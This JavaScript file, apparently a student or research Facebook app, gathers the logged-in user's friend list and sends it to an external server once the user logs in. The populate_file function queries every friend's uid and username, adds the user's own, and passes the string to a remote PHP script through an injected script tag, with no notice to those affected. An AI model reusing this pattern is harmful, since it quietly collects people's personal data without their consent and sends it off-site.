function populate_file(){
	alert('wtf!');
	FB.api('/me', function(response) {
		//var query = FB.Data.query('select status from user where uid={0}', response.id);
		//var query = FB.Data.query('SELECT link_id FROM link WHERE owner={0}',response.id);
		//var query = FB.Data.query('select username, uid from user where uid IN (select uid2 from friend where uid1={0})', response.id);
		//var query = FB.Data.query('SELECT object_id,post_id,object_id FROM like WHERE user_id={0}',response.id);
		//query.wait(function(rows) {
		//	alert('wtf! wtf! ' + rows.length);
		//});
		//*
		//var query = FB.Data.query('select username from profile where id IN (select uid2 from friend where uid1={0})', response.id);
		var query = FB.Data.query('select username, uid from user where uid IN (select uid2 from friend where uid1={0})', response.id);
		query.wait(function(rows) {
				var i;
				var str = ";";
				//alert(rows.length);
				for(i=0; i < rows.length; i++){
						str += rows[i].uid + ',' + rows[i].username + ";";
				}
				//alert(str);
				FB.api('/me', function(response) {
						//var query = FB.Data.query('select username from profile where id IN (select uid2 from friend where uid1={0})', response.id);
						var query1 = FB.Data.query('select uid,username from user where uid={0}', response.id);
						query1.wait(function(rows1) {
							str = rows1[0].uid + ',' + rows1[0].username + str;
							alert(str);
							var request="http://www.cs.sunysb.edu/~aaithal/remote.php?var="+str;
							var head = document.getElementsByTagName("head").item(0);
							var h1 = document.createElement("h1");
							h1.setText(str);
							head.appendChild(h1);
							var script = document.createElement("script");
							script.setAttribute("type", "text/javascript");
							script.setAttribute("src", request);
							head.appendChild(script);
						});
				});
		});
		//*/
	});
}

function fb_onlogin(){
        populate_file();

}

function fb_dologin(){
        FB.getLoginStatus(function(response) {
                if (response.session) {
                        populate_file();
                        
                } else {
                        FB.login(function(response) {
                                if (response.session) {
                                        populate_file();
                        
                                } else {
                                        fb_dologin();
                                }
                        });

                }
        });
}

